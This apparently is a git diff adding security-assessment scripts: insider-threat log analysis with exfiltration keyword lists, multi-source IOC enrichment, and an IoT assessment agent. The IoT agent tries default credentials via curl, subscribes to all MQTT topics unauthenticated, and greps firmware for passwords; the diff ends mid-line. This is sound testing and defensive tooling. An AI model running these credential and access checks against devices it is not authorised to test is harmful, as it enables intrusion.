Exabeam UEBA API + +| Endpoint | Description | +|----------|-------------| +| `/api/users/{user}/timeline` | User activity timeline with risk scores | +| `/api/users/{user}/risk` | Current risk score and contributing factors | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `csv` | stdlib | Parse exported log files | +| `json` | stdlib | Report generation and data exchange | +| `datetime` | stdlib | Timestamp parsing and time-window analysis | +| `requests` | >=2.28 | API access for UEBA and SIEM platforms | + +## References + +- CISA Insider Threat Guide: https://www.cisa.gov/topics/physical-security/insider-threat-mitigation +- NIST SP 800-53 (PS-6 Access Agreements): https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final +- Microsoft Purview Insider Risk: https://learn.microsoft.com/en-us/purview/insider-risk-management +- MITRE Insider Threat: https://attack.mitre.org/techniques/T1078/ diff --git a/skills/performing-insider-threat-investigation/scripts/agent.py b/skills/performing-insider-threat-investigation/scripts/agent.py new file mode 100644 index 00000000..a4c69b48 --- /dev/null +++ b/skills/performing-insider-threat-investigation/scripts/agent.py @@ -0,0 +1,234 @@ +#!/usr/bin/env python3 +"""Agent for performing insider threat investigation. + +Analyzes user activity logs, detects behavioral anomalies, builds +activity timelines, and generates investigation reports for insider +threat cases. +""" + +import json +import sys +import csv +from datetime import datetime, timedelta +from collections import defaultdict +from pathlib import Path + + +class InsiderThreatAgent: + """Analyzes user behavior for insider threat investigation.""" + + def __init__(self, case_id, output_dir): + self.case_id = case_id + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.events = [] + self.baseline = {} + + def load_events_csv(self, csv_path, timestamp_col="timestamp", + user_col="user", action_col="action"): + """Load user activity events from a CSV file.""" + with open(csv_path, "r") as f: + reader = csv.DictReader(f) + for row in reader: + self.events.append({ + "timestamp": row.get(timestamp_col, ""), + "user": row.get(user_col, ""), + "action": row.get(action_col, ""), + "source": row.get("source", "unknown"), + "details": row.get("details", ""), + "destination": row.get("destination", ""), + "bytes": int(row.get("bytes", 0) or 0), + }) + + def set_baseline(self, avg_files_per_day=20, avg_emails_per_day=50, + avg_data_mb_per_day=50, normal_hours=(8, 18), + usb_usage=False): + """Set behavioral baseline for comparison.""" + self.baseline = { + "avg_files_per_day": avg_files_per_day, + "avg_emails_per_day": avg_emails_per_day, + "avg_data_mb_per_day": avg_data_mb_per_day, + "normal_hours_start": normal_hours[0], + "normal_hours_end": normal_hours[1], + "usb_usage": usb_usage, + } + + def filter_events_by_user(self, username): + """Filter events for a specific user.""" + return [e for e in self.events if e["user"] == username] + + def detect_after_hours_activity(self, username): + """Detect activity outside normal business hours.""" + user_events = self.filter_events_by_user(username) + after_hours = [] + start = self.baseline.get("normal_hours_start", 8) + end = self.baseline.get("normal_hours_end", 18) + + for event in user_events: + try: + ts = datetime.fromisoformat(event["timestamp"].replace("Z", "+00:00")) + hour = ts.hour + if hour < start or hour >= end: + after_hours.append(event) + except (ValueError, AttributeError): + continue + return { + "total_events": len(user_events), + "after_hours_events": len(after_hours), + "after_hours_pct": round(len(after_hours) / max(len(user_events), 1) * 100, 1), + "events": after_hours[:50], + } + + def detect_data_exfiltration_indicators(self, username): + """Detect potential data exfiltration patterns.""" + user_events = self.filter_events_by_user(username) + indicators = { + "usb_connections": [], + "large_transfers": [], + "email_forwarding": [], + "cloud_uploads": [], + "print_jobs": [], + } + + exfil_keywords = { + "usb_connections": ["usb", "removable", "mass_storage"], + "large_transfers": ["transfer", "copy", "download"], + "email_forwarding": ["forward", "auto-forward", "gmail", "yahoo", "hotmail"], + "cloud_uploads": ["dropbox", "gdrive", "onedrive", "mega", "wetransfer"], + "print_jobs": ["print", "printer"], + } + + for event in user_events: + action_lower = event["action"].lower() + details_lower = event.get("details", "").lower() + dest_lower = event.get("destination", "").lower() + combined = f"{action_lower} {details_lower} {dest_lower}" + + for category, keywords in exfil_keywords.items(): + if any(kw in combined for kw in keywords): + indicators[category].append(event) + + if event.get("bytes", 0) > 100_000_000: + indicators["large_transfers"].append(event) + + return indicators + + def build_activity_timeline(self, username): + """Build a chronological activity timeline for the subject.""" + user_events = self.filter_events_by_user(username) + sorted_events = sorted(user_events, key=lambda e: e.get("timestamp", "")) + + daily_summary = defaultdict(lambda: { + "event_count": 0, "total_bytes": 0, "actions": defaultdict(int), + }) + + for event in sorted_events: + try: + ts = datetime.fromisoformat(event["timestamp"].replace("Z", "+00:00")) + day = ts.strftime("%Y-%m-%d") + except (ValueError, AttributeError): + day = "unknown" + daily_summary[day]["event_count"] += 1 + daily_summary[day]["total_bytes"] += event.get("bytes", 0) + daily_summary[day]["actions"][event["action"]] += 1 + + return { + "user": username, + "total_events": len(sorted_events), + "date_range": { + "start": sorted_events[0]["timestamp"] if sorted_events else None, + "end": sorted_events[-1]["timestamp"] if sorted_events else None, + }, + "daily_summary": { + day: { + "event_count": s["event_count"], + "total_bytes": s["total_bytes"], + "total_mb": round(s["total_bytes"] / 1_048_576, 1), + "top_actions": dict(sorted( + s["actions"].items(), key=lambda x: x[1], reverse=True + )[:5]), + } + for day, s in sorted(daily_summary.items()) + }, + } + + def calculate_anomaly_score(self, username): + """Calculate a composite behavioral anomaly score (0-100).""" + score = 0 + after_hours = self.detect_after_hours_activity(username) + exfil = self.detect_data_exfiltration_indicators(username) + timeline = self.build_activity_timeline(username) + + if after_hours["after_hours_pct"] > 30: + score += 25 + elif after_hours["after_hours_pct"] > 15: + score += 10 + + if len(exfil["usb_connections"]) > 0: + score += 20 + if len(exfil["cloud_uploads"]) > 0: + score += 15 + if len(exfil["email_forwarding"]) > 0: + score += 15 + if len(exfil["large_transfers"]) > 3: + score += 15 + + daily_data = timeline.get("daily_summary", {}) + for day, summary in daily_data.items(): + if summary["total_mb"] > self.baseline.get("avg_data_mb_per_day", 50) * 5: + score += 10 + break + + return min(score, 100) + + def generate_investigation_report(self, username): + """Generate a comprehensive insider threat investigation report.""" + report = { + "case_id": self.case_id, + "subject": username, + "report_date": datetime.utcnow().isoformat(), + "anomaly_score": self.calculate_anomaly_score(username), + "after_hours_analysis": self.detect_after_hours_activity(username), + "exfiltration_indicators": { + k: len(v) for k, v in + self.detect_data_exfiltration_indicators(username).items() + }, + "activity_timeline": self.build_activity_timeline(username), + } + + score = report["anomaly_score"] + if score >= 70: + report["risk_level"] = "CRITICAL" + elif score >= 40: + report["risk_level"] = "HIGH" + elif score >= 20: + report["risk_level"] = "MEDIUM" + else: + report["risk_level"] = "LOW" + + report_path = self.output_dir / f"{self.case_id}_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2, default=str) + + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + if len(sys.argv) < 4: + print("Usage: agent.py [output_dir]") + sys.exit(1) + + case_id = sys.argv[1] + events_csv = sys.argv[2] + username = sys.argv[3] + output_dir = sys.argv[4] if len(sys.argv) > 4 else "./investigation_output" + + agent = InsiderThreatAgent(case_id, output_dir) + agent.load_events_csv(events_csv) + agent.set_baseline() + agent.generate_investigation_report(username) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ioc-enrichment-automation/LICENSE b/skills/performing-ioc-enrichment-automation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ioc-enrichment-automation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-ioc-enrichment-automation/references/api-reference.md b/skills/performing-ioc-enrichment-automation/references/api-reference.md new file mode 100644 index 00000000..1f5ad76e --- /dev/null +++ b/skills/performing-ioc-enrichment-automation/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: IOC Enrichment Automation + +## VirusTotal API v3 + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v3/ip_addresses/{ip}` | GET | IP address reputation and analysis stats | +| `/api/v3/domains/{domain}` | GET | Domain reputation, WHOIS, and DNS data | +| `/api/v3/files/{hash}` | GET | File hash analysis with 70+ AV engines | +| `/api/v3/urls` | POST | Submit URL for scanning | + +Header: `x-apikey: ` | Rate limit: 4 req/min (free), 500/min (premium) + +## AbuseIPDB API v2 + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v2/check` | GET | Check IP abuse confidence score | +| `/api/v2/report` | POST | Report an abusive IP address | + +Header: `Key: ` | Rate limit: 1000 req/day (free) + +## Shodan API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/shodan/host/{ip}` | GET | Host info: ports, OS, vulns | +| `/shodan/host/search` | GET | Search Shodan by query | + +Param: `key=` | Rate limit: 1 req/sec + +## GreyNoise Community API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/v3/community/{ip}` | GET | IP classification (malicious/benign/unknown) | + +Header: `key: ` + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP client for all API calls | +| `vt-py` | >=0.18 | Official VirusTotal Python client | +| `shodan` | >=1.28 | Official Shodan Python client | + +## References + +- VirusTotal API docs: https://docs.virustotal.com/reference/overview +- AbuseIPDB API docs: https://docs.abuseipdb.com/ +- Shodan API docs: https://developer.shodan.io/api +- GreyNoise docs: https://docs.greynoise.io/ +- URLScan.io API: https://urlscan.io/docs/api/ diff --git a/skills/performing-ioc-enrichment-automation/scripts/agent.py b/skills/performing-ioc-enrichment-automation/scripts/agent.py new file mode 100644 index 00000000..d1f3a1e6 --- /dev/null +++ b/skills/performing-ioc-enrichment-automation/scripts/agent.py @@ -0,0 +1,243 @@ +#!/usr/bin/env python3 +"""Agent for performing IOC enrichment automation. + +Orchestrates multi-source IOC lookups across VirusTotal, AbuseIPDB, +Shodan, and GreyNoise to provide contextual scoring and disposition. +""" + +import requests +import json +import sys +import time +from dataclasses import dataclass, field + + +@dataclass +class EnrichmentResult: + ioc_value: str + ioc_type: str + virustotal: dict = field(default_factory=dict) + abuseipdb: dict = field(default_factory=dict) + shodan_data: dict = field(default_factory=dict) + greynoise: dict = field(default_factory=dict) + risk_score: float = 0.0 + disposition: str = "Unknown" + + +class IOCEnrichmentAgent: + """Multi-source IOC enrichment engine.""" + + def __init__(self, vt_key, abuseipdb_key="", shodan_key="", greynoise_key=""): + self.vt_key = vt_key + self.abuseipdb_key = abuseipdb_key + self.shodan_key = shodan_key + self.greynoise_key = greynoise_key + + def _vt_lookup(self, endpoint): + """Query VirusTotal API v3.""" + headers = {"x-apikey": self.vt_key} + resp = requests.get(f"https://www.virustotal.com/api/v3/{endpoint}", + headers=headers, timeout=15) + if resp.status_code == 200: + return resp.json().get("data", {}).get("attributes", {}) + return {"error": resp.status_code} + + def enrich_ip(self, ip_address): + """Enrich an IP address from multiple sources.""" + result = EnrichmentResult(ioc_value=ip_address, ioc_type="ip") + + vt_data = self._vt_lookup(f"ip_addresses/{ip_address}") + if "error" not in vt_data: + stats = vt_data.get("last_analysis_stats", {}) + result.virustotal = { + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "total": sum(stats.values()) if stats else 0, + "country": vt_data.get("country", "Unknown"), + "as_owner": vt_data.get("as_owner", "Unknown"), + "reputation": vt_data.get("reputation", 0), + } + + if self.abuseipdb_key: + try: + resp = requests.get( + "https://api.abuseipdb.com/api/v2/check", + headers={"Key": self.abuseipdb_key, "Accept": "application/json"}, + params={"ipAddress": ip_address, "maxAgeInDays": 90}, + timeout=10, + ) + data = resp.json().get("data", {}) + result.abuseipdb = { + "confidence_score": data.get("abuseConfidenceScore", 0), + "total_reports": data.get("totalReports", 0), + "is_tor": data.get("isTor", False), + "isp": data.get("isp", "Unknown"), + } + except requests.RequestException: + pass + + if self.shodan_key: + try: + resp = requests.get( + f"https://api.shodan.io/shodan/host/{ip_address}", + params={"key": self.shodan_key}, timeout=10, + ) + if resp.status_code == 200: + host = resp.json() + result.shodan_data = { + "ports": host.get("ports", []), + "os": host.get("os"), + "org": host.get("org", "Unknown"), + "vulns": host.get("vulns", []), + } + except requests.RequestException: + pass + + if self.greynoise_key: + try: + resp = requests.get( + f"https://api.greynoise.io/v3/community/{ip_address}", + headers={"key": self.greynoise_key}, timeout=10, + ) + gn = resp.json() + result.greynoise = { + "classification": gn.get("classification", "unknown"), + "noise": gn.get("noise", False), + "riot": gn.get("riot", False), + "name": gn.get("name", "Unknown"), + } + except requests.RequestException: + pass + + result.risk_score = self._score_ip(result) + result.disposition = self._disposition(result.risk_score) + return result + + def enrich_domain(self, domain): + """Enrich a domain from VirusTotal.""" + result = EnrichmentResult(ioc_value=domain, ioc_type="domain") + vt_data = self._vt_lookup(f"domains/{domain}") + if "error" not in vt_data: + stats = vt_data.get("last_analysis_stats", {}) + result.virustotal = { + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "reputation": vt_data.get("reputation", 0), + "registrar": vt_data.get("registrar", "Unknown"), + } + result.risk_score = min(result.virustotal.get("malicious", 0) * 5, 100) + result.disposition = self._disposition(result.risk_score) + return result + + def enrich_hash(self, file_hash): + """Enrich a file hash from VirusTotal.""" + result = EnrichmentResult(ioc_value=file_hash, ioc_type="hash") + vt_data = self._vt_lookup(f"files/{file_hash}") + if "error" not in vt_data: + stats = vt_data.get("last_analysis_stats", {}) + total = sum(stats.values()) if stats else 1 + result.virustotal = { + "malicious": stats.get("malicious", 0), + "suspicious": stats.get("suspicious", 0), + "undetected": stats.get("undetected", 0), + "total": total, + "type": vt_data.get("type_description", "Unknown"), + "threat_label": vt_data.get("popular_threat_classification", {}).get( + "suggested_threat_label", "Unknown"), + } + detection_rate = stats.get("malicious", 0) / max(total, 1) + result.risk_score = min(detection_rate * 100, 100) + result.disposition = self._disposition(result.risk_score) + return result + + def _score_ip(self, result): + score = 0 + vt = result.virustotal + if isinstance(vt, dict) and "malicious" in vt: + score += min(vt["malicious"] * 3, 30) + abuse = result.abuseipdb + if isinstance(abuse, dict) and "confidence_score" in abuse: + score += abuse["confidence_score"] * 0.3 + gn = result.greynoise + if isinstance(gn, dict): + if gn.get("classification") == "malicious": + score += 20 + elif gn.get("riot"): + score -= 20 + return min(max(score, 0), 100) + + def _disposition(self, score): + if score >= 70: + return "MALICIOUS" + elif score >= 40: + return "SUSPICIOUS" + elif score >= 10: + return "LOW_RISK" + return "CLEAN" + + def enrich_batch(self, iocs, delay=1): + """Enrich a list of IOCs with rate limiting.""" + results = [] + for ioc in iocs: + ioc_type = ioc.get("type", "ip") + value = ioc.get("value", "") + if ioc_type == "ip": + results.append(self.enrich_ip(value)) + elif ioc_type == "domain": + results.append(self.enrich_domain(value)) + elif ioc_type == "hash": + results.append(self.enrich_hash(value)) + time.sleep(delay) + return results + + def generate_report(self, results): + """Generate enrichment report from results.""" + report = {"iocs": [], "summary": {}} + for r in results: + report["iocs"].append({ + "value": r.ioc_value, + "type": r.ioc_type, + "risk_score": r.risk_score, + "disposition": r.disposition, + "virustotal": r.virustotal, + "abuseipdb": r.abuseipdb, + "shodan": r.shodan_data, + "greynoise": r.greynoise, + }) + report["summary"] = { + "total": len(results), + "malicious": sum(1 for r in results if r.disposition == "MALICIOUS"), + "suspicious": sum(1 for r in results if r.disposition == "SUSPICIOUS"), + "clean": sum(1 for r in results if r.disposition == "CLEAN"), + } + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [abuseipdb_key] [shodan_key]") + sys.exit(1) + + vt_key = sys.argv[1] + ioc_type = sys.argv[2] + ioc_value = sys.argv[3] + abuse_key = sys.argv[4] if len(sys.argv) > 4 else "" + shodan_key = sys.argv[5] if len(sys.argv) > 5 else "" + + agent = IOCEnrichmentAgent(vt_key, abuse_key, shodan_key) + if ioc_type == "ip": + result = agent.enrich_ip(ioc_value) + elif ioc_type == "domain": + result = agent.enrich_domain(ioc_value) + elif ioc_type == "hash": + result = agent.enrich_hash(ioc_value) + else: + print(f"Unknown IOC type: {ioc_type}") + sys.exit(1) + + report = agent.generate_report([result]) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-iot-security-assessment/LICENSE b/skills/performing-iot-security-assessment/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-iot-security-assessment/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-iot-security-assessment/references/api-reference.md b/skills/performing-iot-security-assessment/references/api-reference.md new file mode 100644 index 00000000..56cb30ab --- /dev/null +++ b/skills/performing-iot-security-assessment/references/api-reference.md @@ -0,0 +1,50 @@ +# API Reference: IoT Security Assessment + +## Tools CLI Reference + +| Tool | Command | Description | +|------|---------|-------------| +| nmap | `nmap -sV -sC -p- ` | Full port scan with version detection | +| binwalk | `binwalk -eM ` | Recursive firmware extraction | +| tcpdump | `tcpdump -i host -w ` | Packet capture from device | +| openssl | `openssl s_client -connect :` | TLS certificate inspection | +| flashrom | `flashrom -p ch341a_spi -r ` | SPI flash memory dump | + +## Firmwalker (Firmware Scanner) + +```bash +./firmwalker.sh / +# Scans for: passwords, keys, URLs, IPs, emails, config files +``` + +## FirmAE / Firmadyne (Firmware Emulation) + +```bash +python3 fat.py +# Boots extracted Linux firmware in QEMU for dynamic testing +``` + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute nmap, binwalk, tcpdump commands | +| `hashlib` | stdlib | Firmware integrity hashing | +| `paho-mqtt` | >=1.6 | MQTT protocol testing for unauthenticated access | + +## Common IoT Protocols & Ports + +| Protocol | Port | Security Concern | +|----------|------|-----------------| +| MQTT | 1883/8883 | Often unauthenticated, subscribe to # | +| CoAP | 5683 | UDP-based, usually no authentication | +| UPnP | 1900 | Service discovery, often exposes admin | +| RTSP | 554 | Video streams, frequently unauthenticated | +| Telnet | 23 | Plaintext credentials | + +## References + +- OWASP IoT Top 10: https://owasp.org/www-project-internet-of-things/ +- FCC ID lookup: https://www.fcc.gov/oet/ea/fccid +- Firmadyne: https://github.com/firmadyne/firmadyne +- Binwalk: https://github.com/ReFirmLabs/binwalk diff --git a/skills/performing-iot-security-assessment/scripts/agent.py b/skills/performing-iot-security-assessment/scripts/agent.py new file mode 100644 index 00000000..8f1f6410 --- /dev/null +++ b/skills/performing-iot-security-assessment/scripts/agent.py @@ -0,0 +1,237 @@ +#!/usr/bin/env python3 +"""Agent for performing IoT security assessment. + +Automates IoT device reconnaissance, firmware extraction with binwalk, +network traffic analysis, and service scanning for security testing. +""" + +import subprocess +import json +import sys +import re +import hashlib +from pathlib import Path + + +class IoTSecurityAgent: + """Performs automated IoT device security assessments.""" + + def __init__(self, target_ip, output_dir): + self.target_ip = target_ip + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + + def scan_services(self): + """Scan target for open services using nmap.""" + result = subprocess.run( + ["nmap", "-sV", "-sC", "-p-", "-oJ", "-", self.target_ip], + capture_output=True, text=True, timeout=300, + ) + services = [] + for line in result.stdout.splitlines(): + if "/tcp" in line or "/udp" in line: + parts = line.split() + if len(parts) >= 3: + services.append({ + "port": parts[0], + "state": parts[1], + "service": " ".join(parts[2:]), + }) + return {"target": self.target_ip, "services": services, "raw": result.stdout} + + def check_default_credentials(self): + """Test common default credentials against discovered services.""" + default_creds = [ + ("admin", "admin"), ("admin", "password"), ("admin", "1234"), + ("root", "root"), ("root", "admin"), ("root", "password"), + ("admin", ""), ("user", "user"), ("guest", "guest"), + ] + results = [] + for username, password in default_creds: + result = subprocess.run( + ["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", + "-u", f"{username}:{password}", + f"http://{self.target_ip}/", "--max-time", "5"], + capture_output=True, text=True, + ) + status = result.stdout.strip() + if status in ("200", "301", "302"): + results.append({ + "username": username, + "password": password, + "status": status, + "vulnerable": True, + }) + return results + + def analyze_firmware(self, firmware_path): + """Analyze firmware image with binwalk.""" + fw_path = Path(firmware_path) + if not fw_path.exists(): + return {"error": f"Firmware file not found: {firmware_path}"} + + sha256 = hashlib.sha256(fw_path.read_bytes()).hexdigest() + scan_result = subprocess.run( + ["binwalk", str(fw_path)], capture_output=True, text=True + ) + extract_dir = self.output_dir / "firmware_extracted" + subprocess.run( + ["binwalk", "-eM", "-C", str(extract_dir), str(fw_path)], + capture_output=True, text=True, + ) + + creds_found = [] + for root, dirs, files in (extract_dir).rglob("*") if extract_dir.exists() else []: + pass + + if extract_dir.exists(): + grep_result = subprocess.run( + ["grep", "-rn", "-i", "password\\|passwd\\|secret", + str(extract_dir)], + capture_output=True, text=True, + ) + for line in grep_result.stdout.splitlines()[:20]: + creds_found.append(line.strip()) + + return { + "sha256": sha256, + "size": fw_path.stat().st_size, + "binwalk_scan": scan_result.stdout, + "credentials_found": creds_found, + "extract_dir": str(extract_dir), + } + + def capture_traffic(self, interface="eth0", duration=30): + """Capture network traffic from the IoT device.""" + pcap_path = self.output_dir / "iot_capture.pcap" + subprocess.run( + ["timeout", str(duration), "tcpdump", "-i", interface, + f"host {self.target_ip}", "-w", str(pcap_path)], + capture_output=True, timeout=duration + 10, + ) + if pcap_path.exists(): + stats = subprocess.run( + ["capinfos", str(pcap_path)], capture_output=True, text=True + ) + return {"pcap": str(pcap_path), "stats": stats.stdout} + return {"error": "Capture failed"} + + def check_tls_configuration(self, port=443): + """Check TLS configuration on HTTPS services.""" + result = subprocess.run( + ["openssl", "s_client", "-connect", f"{self.target_ip}:{port}", + "-brief"], + input="", capture_output=True, text=True, timeout=10, + ) + tls_info = { + "raw": result.stdout + result.stderr, + "self_signed": "self signed" in (result.stdout + result.stderr).lower(), + } + + for line in (result.stdout + result.stderr).splitlines(): + if "Protocol" in line: + tls_info["protocol"] = line.strip() + if "Cipher" in line: + tls_info["cipher"] = line.strip() + return tls_info + + def check_upnp_exposure(self): + """Check for UPnP service exposure.""" + result = subprocess.run( + ["nmap", "-sU", "-p", "1900", "--script=upnp-info", self.target_ip], + capture_output=True, text=True, timeout=30, + ) + return { + "upnp_detected": "upnp" in result.stdout.lower(), + "output": result.stdout, + } + + def check_mqtt(self, port=1883): + """Check for unauthenticated MQTT access.""" + try: + import paho.mqtt.client as mqtt + connected = False + topics = [] + + def on_connect(client, userdata, flags, rc): + nonlocal connected + connected = rc == 0 + if connected: + client.subscribe("#") + + def on_message(client, userdata, msg): + topics.append({"topic": msg.topic, "payload_len": len(msg.payload)}) + + client = mqtt.Client() + client.on_connect = on_connect + client.on_message = on_message + client.connect(self.target_ip, port, 5) + client.loop_start() + import time + time.sleep(5) + client.loop_stop() + client.disconnect() + + return { + "unauthenticated_access": connected, + "topics_found": len(topics), + "sample_topics": topics[:10], + } + except Exception as e: + return {"error": str(e)} + + def generate_report(self, firmware_path=None): + """Run full IoT security assessment and generate report.""" + report = {"target": self.target_ip, "findings": []} + + services = self.scan_services() + report["services"] = services + + creds = self.check_default_credentials() + if creds: + report["findings"].append({ + "id": "IOT-001", "severity": "Critical", + "title": "Default Credentials Accepted", + "details": creds, + }) + + tls = self.check_tls_configuration() + if tls.get("self_signed"): + report["findings"].append({ + "id": "IOT-002", "severity": "Medium", + "title": "Self-Signed TLS Certificate", + "details": tls, + }) + + if firmware_path: + fw = self.analyze_firmware(firmware_path) + report["firmware_analysis"] = fw + if fw.get("credentials_found"): + report["findings"].append({ + "id": "IOT-003", "severity": "Critical", + "title": "Hardcoded Credentials in Firmware", + "count": len(fw["credentials_found"]), + }) + + report_path = self.output_dir / "iot_assessment_report.json" + with open(report_path, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [firmware_path]") + sys.exit(1) + + target_ip = sys.argv[1] + output_dir = sys.argv[2] + firmware_path = sys.argv[3] if len(sys.argv) > 3 else None + + agent = IoTSecurityAgent(target_ip, output_dir) + agent.generate_report(firmware_path) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-ip-reputation-analysis-with-shodan/LICENSE b/skills/performing-ip-reputation-analysis-with-shodan/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-ip-reputation-analysis-with-shodan/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-jwt-none-algorithm-attack/LICENSE b/skills/performing-jwt-none-algorithm-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-jwt-none-algorithm-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-kerberoasting-attack/LICENSE b/skills/performing-kerberoasting-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-kerberoasting-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-kubernetes-cis-benchmark-with-kube-bench/LICENSE b/skills/performing-kubernetes-cis-benchmark-with-kube-bench/LICENSE new file mode 100644 index 